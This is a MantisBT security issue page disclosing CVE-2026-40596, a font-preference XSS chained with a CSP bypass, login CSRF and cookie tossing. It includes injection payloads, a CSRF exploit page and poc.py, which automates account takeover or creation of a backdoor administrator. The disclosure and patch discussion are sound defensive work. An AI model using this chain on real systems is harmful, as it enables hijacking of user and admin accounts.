View Issue Details

IDProjectCategoryView StatusLast Update
0037011mantisbtsecuritypublic2026-05-09 19:56
Reportersiunam Assigned Todregad  
PriorityimmediateSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version2.11.0 
Target Version2.28.2Fixed in Version2.28.2 
Summary0037011: CVE-2026-40596: XSS leading to account takeover via updating a user's font family preference
Description

Any authenticated user can inject arbitrary HTML code and achieve account takeover via updating their account's font family.

In mantisbt/core/layout_api.php function layout_user_font_preference, it directly outputs the current user font_family config's value without validating and/or HTML entity encoding its value:

function layout_user_font_preference() {
    $t_font_family = config_get( 'font_family', null, null, ALL_PROJECTS );
    echo '<style>', "\n";
    echo  '* { font-family: "' . $t_font_family . '"; } ', "\n";
    echo  'h1, h2, h3, h4, h5 { font-family: "' . $t_font_family . '"; } ', "\n";
    echo '</style>', "\n";
}

Therefore, the attacker can update its own account's font family config's value to inject arbitrary HTML code in attacker's account by sending a POST request to /account_prefs_update.php:

POST /account_prefs_update.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 713
Cookie: PHPSESSID={{session_id}}; MANTIS_STRING_COOKIE={{cookie_id}}

account_prefs_update_token=20260406tQXMhNKYxWUst5xyNpLQs2OEER6_oXoZ&user_id=5&redirect_url=account_prefs_page.php&default_project=1&
refresh_delay=30&redirect_delay=2&bugnote_order=ASC&email_on_new=on&email_on_new_min_severity=0&email_on_assigned=on&
email_on_assigned_min_severity=0&email_on_feedback=on&email_on_feedback_min_severity=0&email_on_resolved=on&email_on_resolved_min_severity=0&
email_on_closed=on&email_on_closed_min_severity=0&email_on_reopened=on&email_on_reopened_min_severity=0&email_on_bugnote=on&
email_on_bugnote_min_severity=0&email_on_status_min_severity=0&email_on_priority_min_severity=0&email_bugnote_limit=0&timezone=UTC&language=auto&
font_family=</style><h1>HTML+injection+PoC</h1><style>

EDIT (dregad): added line breaks in the POST payload to avoid horizontal scrolling.

Which updates the user config font_family's value:

mantisbt/account_prefs_update.php line 87 - 90:

$t_font = gpc_get_string( 'font_family' );
if( config_get( 'font_family', null, $f_user_id, ALL_PROJECTS ) != $t_font ) {
    config_set( 'font_family', $t_font, $f_user_id, ALL_PROJECTS );
}

See "1_image1.png".

Note that the injected payload will be reflected in many endpoints, including but not limited to /account_prefs_page.php, and /my_view_page.php.

To escalate this self-XSS vulnerability, the attacker would need to:

  1. Bypass CSP directive script-src by uploading a JavaScript file in a new or existing bug issue

Since endpoint /file_download.php response header Content-Type is MIME sniffed by PHP's finfo, the attacker would need to upload a file that get MIME sniffed as a valid JavaScript MIME type by PHP finfo.

mantisbt/file_download.php line 163 - 176:

switch( $t_upload_method ) {
    case DISK:
        // [...]
        if( file_exists( $t_local_disk_file ) ) {
            $t_file_info_type = file_get_mime_type( $t_local_disk_file );
        }
        break;
    case DATABASE:
        $t_file_info_type = file_get_mime_type_for_content( $v_content );
        break;
    default:
        // [...]
}

mantisbt/core/file_api.php line 1240 - 1250, line 1259 - 1266, line 1275 - 1278:

function file_create_finfo() {
    $t_info_file = config_get_global( 'fileinfo_magic_db_file' );

    if( is_blank( $t_info_file ) ) {
        $t_finfo = new finfo( FILEINFO_MIME );
    } else {
        $t_finfo = new finfo( FILEINFO_MIME, $t_info_file );
    }

    return $t_finfo;
}
// [...]
function file_get_mime_type( $p_file_path ) {
    // [...]
    $t_finfo = file_create_finfo();
    return $t_finfo->file( $p_file_path );
}
// [...]
function file_get_mime_type_for_content( $p_content ) {
    $t_finfo = file_create_finfo();
    return $t_finfo->buffer( $p_content );
}

JavaScript file payload:

#!/usr/bin/env node
alert(origin);

By doing so, PHP method buffer or file in class finfo will sniff the buffer's MIME type as application/javascript:

$t_finfo = new finfo( FILEINFO_MIME );
$mime_type = $t_finfo->buffer("#!/usr/bin/env node\nalert(origin)");
var_dump($mime_type);
// string(40) "application/javascript; charset=us-ascii"

This is because if PHP finfo sees the buffer starts with #!/usr/bin/env node, it will get sniffed as a JavaScript file.

Note that non-JavaScript MIME types will not get imported in a <script> tag by the browser due to response header X-Content-Type-Options is set to nosniff, which requires all importing JavaScript file must be a valid JavaScript MIME type (https://blog.huli.tw/2022/04/24/en/script-type/#question-1-content-types-that-ltscriptgt-can-accept).

By combining the above HTML injection vulnerability and this CSP bypass, the attacker can escalate from self-HTML injection to self-XSS:

Payload in /account_prefs_update.php POST parameter font_family:

</style><script src="/file_download.php?file_id=<javascript_file_id>&type=bug"></script><style>

See "1_image2.png" and "1_image3.png".

  1. To escalate this self-XSS to account takeover or backdoor account creation, the attacker would need to exploit login CSRF, so that the victim can log in as the attacker account and perform cookie tossing.

In mantisbt/login.php, it lacks of CSRF protections (e.g.: Missing CSRF token validation). Therefore, the attacker could host the following page to force the victim to log in as the attacker account:

@app.route('/exploit')
def exploit():
    exploit_html = f'''
<form id="csrf" action="" method="post">
    <input type="text" id="username" name="username" value="">
    <input type="text" id="password" name="password" value="">
</form>

<script>
window.name = '';

const TARGET_BASE_URL = '{targetBaseUrl}';

window.onload = function() {{
    csrf.action = `${{TARGET_BASE_URL}}/login.php`;
    document.getElementById('username').value = '{pocAccounts["reporter1"]["username"]}';
    document.getElementById('password').value = '{pocAccounts["reporter1"]["password"]}';
    csrf.submit();
}};
</script>
'''
    return exploit_html, 200, { 'Content-Type': 'text/html' }
  1. After the victim logged in as the attacker account, the self-XSS payload will then perform cookie tossing and set cookie MANTIS_STRING_COOKIE and PHPSESSID with path /my_view_page.php. Note that those cookie values are from an attacker-controlled account and the session must be valid (Not logged out).

Cookie tossing self-XSS payload:

#!/usr/bin/env node
document.cookie = 'PHPSESSID=<second_reporter_account_PHP_session_cookie>; path=/my_view_page.php';
document.cookie = 'MANTIS_STRING_COOKIE=<second_reporter_account_mantis_string_cookie> path=/my_view_page.php;';

// logout to allow the victim to login their account
window.location.href = '/logout_page.php';

By doing so, when the victim logged back in to their account, cookie MANTIS_STRING_COOKIE and PHPSESSID in requests from path /my_view_page.php will be from the attacker-controlled account's session instead of the victim's session. This is because cookies with a specific path will have higher priority.

Also, the reason why we choose path /my_view_page.php is because when the victim is logged in, /login_cookie_test.php will redirect to that endpoint by default and thus triggering the cookie tossing self-XSS payload.

  1. In the second attacker-controlled account, it will need to inject second self-XSS payload via account font family update, which performs the attacker's ultimate goal.

Since cookies with a specific path will have higher priority, the victim (When logs in as their own account) will be served with the second self-XSS payload.

The goal of the second self-XSS payload could be:

  • Takeover victim's account:
    1. Create a new REST API token
    2. Update its account's email address to attacker-controlled email address via REST API PATCH /api/rest/users/{user_id}
  • Create backdoored account with access level "administrator" (If the victim account's access level is "administrator")
    1. Create a new REST API token
    2. Create a backdoored account with access level "administrator" via REST API POST /api/rest/users
Steps To Reproduce

To reproduce this vulnerability, the application will need to enable self-signup (Enabled by default) to allow users to register as a "reporter" account (Also by default).

Attacker preparations:

  1. Register 2 accounts, reporter and reporter1, where reporter will be used to perform cookie tossing and reporter1 will be used to host the second self-XSS payload.
  2. Login as user reporter1.
  3. Upload 2 JavaScript files, where the first one will perform cookie tossing, and the second one will takeover victim's account or create a backdoored account. Note that the cookie tossing's session cookies are current reporter1 user's session cookies.
  4. Update user reporter1's font family config value to </style><script src="/file_download.php?file_id=<cookie_tossing_file_id>&type=bug"></script>, where <cookie_tossing_file_id> is the uploaded cookie tossing JavaScript file.
  5. Login as user reporter. (Do not logout reporter1. Otherwise, session cookies in the cookie tossing payload will be invalidated)
  6. Update user reporter's font family config value to </style><script src="/file_download.php?file_id=<second_self_xss_javascript_file_id>&type=bug"></script>, where <second_self_xss_javascript_file_id> is the uploaded self-XSS payload that can achieve attacker's final goal, such as account takeover.
  7. Prepare and host the login CSRF page to log in as user reporter.

Victim:

  1. Visit attacker's login CSRF page, which will:
    • Force the victim to log in to the attacker's reporter account
    • Redirect to /my_view_page.php
    • Trigger cookie tossing self-XSS payload
      • Logout account reporter (GET /logout_page.php)
  2. The victim will log in to their own account in /login_page.php, such as an administrator account, which will then:
    • Redirect to /my_view_page.php
    • Serve the second self-XSS payload to the victim because of the tossed reporter1's session cookies
      • Takeover victim's account or create a backdoored account

Note that a Python Proof-of-Concept (PoC) script (poc.py) file is attached. The script can automatically reproduce the vulnerability.

Additional Information

Tested on version 2.29.0-dev (commit: https://github.com/mantisbt/mantisbt/commit/73c575932e5bcbf7befbe2452fe1a21907ced052)

TagsNo tags attached.
Attached Files
1_image3.png (222,014 bytes)   
1_image3.png (222,014 bytes)   
1_image2.png (115,793 bytes)   
1_image2.png (115,793 bytes)   
1_image1.png (77,537 bytes)   
1_image1.png (77,537 bytes)   
poc.py (14,946 bytes)   
import requests
from bs4 import BeautifulSoup
from flask import Flask

app = Flask(__name__)

pocAccounts = targetBaseUrl = None

@app.route('/exploit')
def exploit():
    exploit_html = f'''
<form id="csrf" action="" method="post">
    <input type="text" id="username" name="username" value="">
    <input type="text" id="password" name="password" value="">
</form>

<script>
window.name = '';

const TARGET_BASE_URL = '{targetBaseUrl}';

window.onload = function() {{
    csrf.action = `${{TARGET_BASE_URL}}/login.php`;
    document.getElementById('username').value = '{pocAccounts["reporter1"]["username"]}';
    document.getElementById('password').value = '{pocAccounts["reporter1"]["password"]}';
    csrf.submit();
}};
</script>
'''
    return exploit_html, 200, { 'Content-Type': 'text/html' }

class Poc:
    def __init__(self, baseUrl):
        global targetBaseUrl
        targetBaseUrl = baseUrl

        self.baseUrl = baseUrl
        self.PHP_SESSION_COOKIE_NAME = 'PHPSESSID'
        self.MANTIS_STRING_COOKIE_NAME = 'MANTIS_STRING_COOKIE'
        self.ISSUE_CATEGORY_GENERAL_ID = 1
        self.ISSUE_PUBLIC_VIEW_STATE = 10
        self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token'
        self.UPDATE_ACCOUNT_PREFERENCES_CSRF_TOKEN_NAME = 'account_prefs_update_token'

        self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
        self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php'
        self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php'
        self.UPDATE_ACCOUNT_PREFERENCES_PAGE_ENDPOINT = f'{self.baseUrl}/account_prefs_page.php'
        self.UPDATE_ACCOUNT_PREFERENCES_ENDPOINT = f'{self.baseUrl}/account_prefs_update.php'
        self.MY_VIEW_PAGE_ENDPOINT = f'{self.baseUrl}/my_view_page.php'
        self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
        self.LOGOUT_ENDPOINT = f'{self.baseUrl}/logout_page.php'
        self.REST_CREATE_NEW_TOKEN = f'{self.baseUrl}/api/rest/users/me/token'
        self.REST_UPDATE_USER_ENDPOINT = f'{self.baseUrl}/api/rest/users/{{user_id}}'
        self.REST_CREATE_USER_ENDPOINT = f'{self.baseUrl}/api/rest/users'

    def login(self, account):
        data = {
            'username': account['username'],
            'password': account['password']
        }
        response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
        response.raise_for_status()

    def getCurrentUserInfo(self, account):
        response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
        response.raise_for_status()
        return response.json()

    def getCSRFToken(self, endpoint, account, csrfTokenName):
        response = account['session'].get(endpoint)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        csrf_token = soup.find('input', {'name': csrfTokenName})['value']
        return csrf_token

    def uploadJavaScriptFile(self, account, filename, payload):
        files = { 'ufile[0]': (filename, payload, 'application/javascript') }
        data = {
            self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME),
            'project_id': account['user_info']['projects'][0]['id'],
            'category_id': self.ISSUE_CATEGORY_GENERAL_ID,
            'summary': 'CSP Bypass PoC',
            'description': 'CSP Bypass PoC',
            'view_state': self.ISSUE_PUBLIC_VIEW_STATE
        }
        response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href']
        return fileEndpoint

    def updateAccountPreferences(self, account, selfXSSFileEndpoint):
        data = {
            self.UPDATE_ACCOUNT_PREFERENCES_CSRF_TOKEN_NAME: self.getCSRFToken(self.UPDATE_ACCOUNT_PREFERENCES_PAGE_ENDPOINT, account, self.UPDATE_ACCOUNT_PREFERENCES_CSRF_TOKEN_NAME),
            'user_id': account['user_info']['id'],
            'redirect_url': self.UPDATE_ACCOUNT_PREFERENCES_PAGE_ENDPOINT.split('/')[-1],
            'default_project': account['user_info']['projects'][0]['id'],
            'refresh_delay': '30',
            'redirect_delay': '2',
            'bugnote_order': 'ASC',
            'email_on_new': 'on',
            'email_on_new_min_severity': '0',
            'email_on_assigned': 'on',
            'email_on_assigned_min_severity': '0',
            'email_on_feedback': 'on',
            'email_on_feedback_min_severity': '0',
            'email_on_resolved': 'on',
            'email_on_resolved_min_severity': '0',
            'email_on_closed': 'on',
            'email_on_closed_min_severity': '0',
            'email_on_reopened': 'on',
            'email_on_reopened_min_severity': '0',
            'email_on_bugnote': 'on',
            'email_on_bugnote_min_severity': '0',
            'email_on_status_min_severity': '0',
            'email_on_priority_min_severity': '0',
            'email_bugnote_limit': '0',
            'timezone': 'UTC',
            'language': 'auto',
            'font_family': f'</style><script src="/{selfXSSFileEndpoint}"></script><style>',
        }
        response = account['session'].post(self.UPDATE_ACCOUNT_PREFERENCES_ENDPOINT, data=data, allow_redirects=False)
        response.raise_for_status()

    def startWebServer(self):
        app.run(host='0.0.0.0')

    def execute(self, accounts, isAccountTakeover=True, attackerEmail='attacker@attacker.com'):
        global pocAccounts
        pocAccounts = accounts

        # 1. Login as reporter and get the session cookies to do cookie tossing attack
        self.login(accounts['reporter'])
        accounts['reporter']['user_info'] = self.getCurrentUserInfo(accounts['reporter'])
        reporterPHPSessionCookie = accounts['reporter']['session'].cookies.get_dict()[self.PHP_SESSION_COOKIE_NAME]
        reporterMantisStringCookie = accounts['reporter']['session'].cookies.get_dict()[self.MANTIS_STRING_COOKIE_NAME]
        print(f'[+] Logged in as {accounts["reporter"]["username"]} | PHPSESSID: {reporterPHPSessionCookie} | MANTIS_STRING_COOKIE: {reporterMantisStringCookie}')

        if isAccountTakeover:
            selfXSSJavaScriptPayload = f'''
#!/usr/bin/env node
async function exploit() {{
    const token = await fetch('{self.REST_CREATE_NEW_TOKEN}', {{ method: 'POST' }}).then(response => response.json()).then(data => data.token);
    const userInfo = await fetch('{self.REST_GET_MY_USER_INFO_ENDPOINT}', {{
        method: 'GET',
        headers: {{ 'Authorization': token }}
    }}).then(response => response.json());
    if (!userInfo || !userInfo.id) {{
        console.error('Failed to get user info, aborting exploit');
        return;
    }}
    if (userInfo.name === '{accounts["reporter"]["username"]}' || userInfo.name === '{accounts["reporter1"]["username"]}') {{
        console.log('Not the victim triggering the payload. Skipping...');
        return;
    }}
    if (window.name === 'self-xss-window') {{
        console.log('Payload already executed, skipping...');
        return;
    }}
    window.name = 'self-xss-window';

    const updateUserResponse = await fetch(`{self.REST_UPDATE_USER_ENDPOINT}`.replace('{{user_id}}', userInfo.id), {{
        method: 'PATCH',
        headers: {{
            'Authorization': token,
            'Content-Type': 'application/json'
        }},
        credentials: 'omit',
        body: JSON.stringify({{
            user: {{
                email: '{attackerEmail}'
            }}
        }})
    }}).then(response => {{
        if (response.status === 200) {{
            console.log('User info updated successfully, if the account takeover was successful, the victim should receive a password reset email at the attacker email address:', '{attackerEmail}');
        }} else {{
            console.error('Failed to update user info, status code:', response.status, 'account takeover may have failed');
        }}
    }}).catch(error => {{
        console.error('Error updating user info:', error);
    }});
}}

function cleanup() {{
    document.cookie = '{self.PHP_SESSION_COOKIE_NAME}=; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}; expires=Thu, 01 Jan 1970 00:00:00 GMT';
    document.cookie = '{self.MANTIS_STRING_COOKIE_NAME}=; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}; expires=Thu, 01 Jan 1970 00:00:00 GMT';
    window.location.reload();
}}

(async () => {{
    await exploit();
    cleanup();
}})();
'''.strip()
        else:
            selfXSSJavaScriptPayload = f'''
#!/usr/bin/env node
async function exploit() {{
    const token = await fetch('{self.REST_CREATE_NEW_TOKEN}', {{ method: 'POST' }}).then(response => response.json()).then(data => data.token);
    const userInfo = await fetch('{self.REST_GET_MY_USER_INFO_ENDPOINT}', {{
        method: 'GET',
        headers: {{ 'Authorization': token }}
    }}).then(response => response.json());
    if (!userInfo || !userInfo.id) {{
        console.error('Failed to get user info, aborting exploit');
        return;
    }}
    if (userInfo.name === '{accounts["reporter"]["username"]}' || userInfo.name === '{accounts["reporter1"]["username"]}') {{
        console.log('Not the victim triggering the payload. Skipping...');
        return;
    }}
    if (window.name === 'self-xss-window') {{
        console.log('Payload already executed, skipping...');
        return;
    }}
    window.name = 'self-xss-window';

    const username = 'admin_backdoor';
    const password = 'password';
    await fetch('{self.REST_CREATE_USER_ENDPOINT}', {{
        method: 'POST',
        headers: {{
            'Authorization': token,
            'Content-Type': 'application/json'
        }},
        credentials: 'omit',
        body: JSON.stringify({{
            username: username,
            password: password,
            email: '{attackerEmail}',
            access_level: {{ name: 'administrator' }},
            enabled: true
        }})
    }}).then(response => {{
        if (response.status === 201) {{
            console.log('Exploit executed, check the attacker email for password reset instructions if the user creation was successful. Created backdoored administrator username:', username, 'password:', password);
        }} else {{
            console.error('Failed to create user, status code:', response.status);
        }}
    }}).catch(error => {{
        console.error('Error creating user:', error);
    }});
}}

function cleanup() {{
    document.cookie = '{self.PHP_SESSION_COOKIE_NAME}=; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}; expires=Thu, 01 Jan 1970 00:00:00 GMT';
    document.cookie = '{self.MANTIS_STRING_COOKIE_NAME}=; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}; expires=Thu, 01 Jan 1970 00:00:00 GMT';
    window.location.reload();
}}

(async () => {{
    await exploit();
    cleanup();
}})();
'''.strip()
        # 2. Upload the self-XSS JavaScript file using the reporter account for CSP `script-src: 'self'` bypass
        selfXSSFileEndpoint = self.uploadJavaScriptFile(accounts['reporter'], 'self-xss.js', selfXSSJavaScriptPayload)
        print(f'[+] Uploaded JavaScript file as {accounts["reporter"]["username"]} | File Endpoint: {selfXSSFileEndpoint}')

        # 3. Upload the cookie tossing JavaScript file using the reporter account. When this JavaScript file is loaded, it will set the cookies of the victim to the attacker's cookies, then log out the victim to allow the victim to log in with the attacker's cookies
        cookieTossingJavaScriptPayload = f'''
#!/usr/bin/env node
document.cookie = '{self.PHP_SESSION_COOKIE_NAME}={reporterPHPSessionCookie}; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}';
document.cookie = '{self.MANTIS_STRING_COOKIE_NAME}={reporterMantisStringCookie}; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]};';

// logout to allow the victim to login their account
window.location.href = '/{self.LOGOUT_ENDPOINT.split("/")[-1]}';
'''.strip()
        cookieTossingFileEndpoint = self.uploadJavaScriptFile(accounts['reporter'], 'cookie-tossing.js', cookieTossingJavaScriptPayload)
        print(f'[+] Uploaded JavaScript file as {accounts["reporter"]["username"]} | File Endpoint: {cookieTossingFileEndpoint}')

        # 4. Update the account preferences of the reporter account to import the self-XSS JavaScript file via stored self-XSS vulnerability in parameter "font_family", so when the victim visits any pages in the web application, the self-XSS JavaScript payload will be executed to perform the attack
        self.updateAccountPreferences(accounts['reporter'], selfXSSFileEndpoint)
        print(f'[+] Updated account preferences of {accounts["reporter"]["username"]} to load the self-XSS JavaScript file')

        # 5. Login as reporter1 and update the account preferences to load the cookie tossing JavaScript file. When the victim logs in as reporter1 and visits any page, the cookie tossing JavaScript file will be executed to set the cookies of the victim to the attacker's cookies, then log out the victim to allow the victim to log in with the attacker's cookies
        self.login(accounts['reporter1'])
        print(f'[+] Logged in as {accounts["reporter1"]["username"]} to do cookie tossing')
        accounts['reporter1']['user_info'] = self.getCurrentUserInfo(accounts['reporter1'])
        self.updateAccountPreferences(accounts['reporter1'], cookieTossingFileEndpoint)
        print(f'[+] Updated account preferences of {accounts["reporter1"]["username"]} to load the cookie tossing JavaScript file')

        # 6. Start a web server to serve the login CSRF page for self-XSS attack
        print('[+] Starting web server to serve the exploit page for self-XSS attack...')
        print(f'[+] Visit http://localhost:5000/exploit to trigger the self-XSS attack')
        self.startWebServer()

if __name__ == '__main__':
    baseUrl = 'http://localhost:8080'
    isAccountTakeover = False # Set to True if you want to perform account takeover, otherwise it assumes that the victim is an administrator user and create a new backdoored administrator account
    attackerEmail = 'attacker@attacker.com' # This email address will receive the password reset email if the account takeover is successful, or receive the password reset email for the backdoored administrator account if the user creation is successful
    accounts = {
        'reporter': {
            'username': 'reporter',
            'password': 'password',
            'session': requests.Session()
        },
        'reporter1': {
            'username': 'reporter1',
            'password': 'password',
            'session': requests.Session()
        }
    }

    poc = Poc(baseUrl)
    poc.execute(accounts, isAccountTakeover, attackerEmail)
poc.py (14,946 bytes)   

Relationships

related to 0037016 closeddregad CVE-2026-40597: Content Security Policy bypass via attachments 
related to 0037019 closeddregad User's chosen font overwritten when saving preferences 

Activities

siunam

siunam

2026-04-10 23:40

reporter   ~0070961

Patch

To patch the root cause of the self-HTML injection vulnerability, it is recommended that user font_family config's value must be a valid font family name, such as Open Sans. It could be done in mantisbt/account_prefs_update.php line 87 - 90:

$t_valid_font_families = array( 'Montserrat', 'Open Sans', 'Poppins' );

$t_font = gpc_get_string( 'font_family' );
if( config_get( 'font_family', null, $f_user_id, ALL_PROJECTS ) != $t_font ) {
    if( in_array( $t_font, $t_valid_font_families ) ) {
        config_set( 'font_family', $t_font, $f_user_id, ALL_PROJECTS );
    }
}

And HTML entity encode user font_family config value if needed in mantisbt/core/layout_api.php function layout_user_font_preference:

function layout_user_font_preference() {
    $t_font_family = htmlentities(config_get( 'font_family', null, null, ALL_PROJECTS ));
    echo '<style>', "\n";
    echo  '* { font-family: "' . $t_font_family . '"; } ', "\n";
    echo  'h1, h2, h3, h4, h5 { font-family: "' . $t_font_family . '"; } ', "\n";
    echo '</style>', "\n";
}

The reason why font_family should be validated with a whitelisted font family names and not just HTML entity encode the value is because it will also patch a CSS injection vulnerability, where the attacker can inject their own malicious CSS styles into the page.

For login CSRF, it is recommended that mantisbt/login.php should implement CSRF protections. This is because it can reduce the risk of other vulnerabilities leveraging this login CSRF gadget to escalate their impacts, such as escalating from self-XSS to account takeover in this case.

For the CSP bypass, it is recommended that the response Content-Type header in mantisbt/file_download.php line 215 should be restricted to text/plain, application/pdf, application/octet-stream, and other image MIME types (e.g.: image/png). This is because other MIME types are not really important and will reduce the risk of CSP bypasses via this endpoint.

dregad

dregad

2026-04-11 07:56

developer   ~0070963

Hello @siunam

Nice finding, thanks for the detailed report. I will look at this in more detail, file a security advisory on GitHub and request a CVE.

May I ask your GitHub user ID so I can grant you access to the advisory ? Also please let me know how you would like to be credited.

siunam

siunam

2026-04-11 08:04

reporter   ~0070964

Last edited: 2026-04-11 08:05

May I ask your GitHub user ID so I can grant you access to the advisory ? Also please let me know how you would like to be credited.

My GitHub user ID is "siunam321" (https://github.com/siunam321). I think the credit can be "siunam (Tang Cheuk Hei)". Thanks!

dregad

dregad

2026-04-11 19:03

developer   ~0070965

Hello @siunam,

After further analysis, I believe that this issue actually encompasses two distinct vulnerabilities:

  1. An XSS / HTML injection via the font_family parameter / user preference
  2. The CSP bypass via stored javascript file

Do you agree that these should be handled as separate issues ? In other words, any HTML injection vulnerability, not only (1) could leverage (2) to execute Javascript. Please advise.

dregad

dregad

2026-04-11 19:39

developer   ~0070966

For the CSP bypass, it is recommended that the response Content-Type header in mantisbt/file_download.php line 215 should be restricted to text/plain, application/pdf, application/octet-stream, and other image MIME types (e.g.: image/png). This is because other MIME types are not really important and will reduce the risk of CSP bypasses via this endpoint.

Not sure I fully understand your recommendation. Are you saying that the Content-Type header should only be issued for known types listed above (i.e. do omit the header for other MIME types such as text/javascript) ? Or that I should coerce the MIME type to known, safe ones (e.g. text/javascript becomes text/plain).? Please clarify.

siunam

siunam

2026-04-12 02:20

reporter   ~0070967

Do you agree that these should be handled as separate issues ? In other words, any HTML injection vulnerability, not only (1) could leverage (2) to execute Javascript. Please advise.

Yes, I agree.

For the CSP bypass, it is recommended that the response Content-Type header in mantisbt/file_download.php line 215 should be restricted to text/plain, application/pdf, application/octet-stream, and other image MIME types (e.g.: image/png). This is because other MIME types are not really important and will reduce the risk of CSP bypasses via this endpoint.

Are you saying that the Content-Type header should only be issued for known types listed above (i.e. do omit the header for other MIME types such as text/javascript) ? Or that I should coerce the MIME type to known, safe ones (e.g. text/javascript becomes text/plain).?

I think both approaches can be used together. If the MIME type is not a whitelisted MIME type, force them to be text/plain.

dregad

dregad

2026-04-12 07:16

developer   ~0070971

As far as I can tell, the vulnerability was introduced in MantisBT 2.11.0 by 0023758.

I have updated the issue's summary to be a bit more concise, and created 0037016 to track the CSP bypass issue.

With regards to MIME type handing, I'll come up with something and submit it to you for review.

dregad

dregad

2026-04-12 07:32

developer   ~0070972

By the way the Python script was helpful to understand the exploit mechanism, although I had a hard time setting it up, mainly due to the fact that on my dev box Mantis is not at the root but in /mantis, so the URL in font_family was not set correctly (/file_download.php instead of /mantis/file_download.php).

Also I had to deactivate AirPlay receiver in my Mac to get the exploit site to start.

dregad

dregad

2026-04-12 13:38

developer   ~0070978

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-j3v9-553h-x28j has beencreated. Please review it (in particular the CVSS evaluation), feedback and comments are welcome.

CVE request sent.

dregad

dregad

2026-04-12 18:47

developer   ~0070985

Proposed patch https://github.com/mantisbt/mantisbt-ghsa-j3v9-553h-x28j/pull/1.

It is not fully complete, as I'm still working on the fix for the CSP bypass issue 0037016, but you can already review this as the vulnerability and recommendations from this issue are covered.

@vboctor, as mentioned in the PR, it would be great if you could confirm that the introduction of CSRF in the login process does not break one of your auth plugin scenarios - I do not have any real-world use case for this to test.

siunam

siunam

2026-04-13 01:01

reporter   ~0070998

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-j3v9-553h-x28j has beencreated. Please review it (in particular the CVSS evaluation), feedback and comments are welcome.

I think the CVSS score should be 7.5: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N, as I don't think there's any "Subsequent System Impact". For example, this vulnerability should not be able to gain Remote Code Execution (RCE) on the web server.

siunam

siunam

2026-04-13 01:29

reporter   ~0071000

Proposed patch https://github.com/mantisbt/mantisbt-ghsa-j3v9-553h-x28j/pull/1.

I confirmed that the HTML injection / XSS vulnerability in font_family and the login CSRF can't be reproduced anymore after the patch. I will test the CSP bypass patch once you have finished it.

dregad

dregad

2026-04-13 04:12

developer   ~0071001

Thanks for reviewing and testing. I have updated the CVSS score per your suggestion.

I will let you know once the patch for the CSP bypass is available.

dregad

dregad

2026-04-17 02:48

developer   ~0071016

CVE-2026-40596 assign

Related Changesets

MantisBT: master-2.28 d78b75a5

2026-04-11 15:58

dregad


Details Diff
Abort updating preferences if font is unknown

Check that the font_family value exists in the list of available fonts
prior to updating the user's preference. If not, we throw an invalid
parameter Exception.

Fixes 0037011, GHSA-j3v9-553h-x28j
Affected Issues
0037011
mod - account_prefs_update.php Diff File

MantisBT: master-2.28 fa2c797d

2026-04-11 16:16

dregad


Details Diff
Escape font_family in generated style

layout_user_font_preference() displayed the user's font_family without
proper escaping, leaving the door open for XSS / HTML injection.

Fixes 0037011, GHSA-j3v9-553h-x28j
Affected Issues
0037011
mod - core/layout_api.php Diff File

MantisBT: master-2.28 75b10b39

2026-04-11 18:49

dregad


Details Diff
Add CSRF protection to login process

Improves security, reducing risk of a vulnerability escalating its
impact.

As recommended by @siunam in Issue 0037011.
Affected Issues
0037011
mod - login.php Diff File
mod - login_page.php Diff File
mod - login_password_page.php Diff File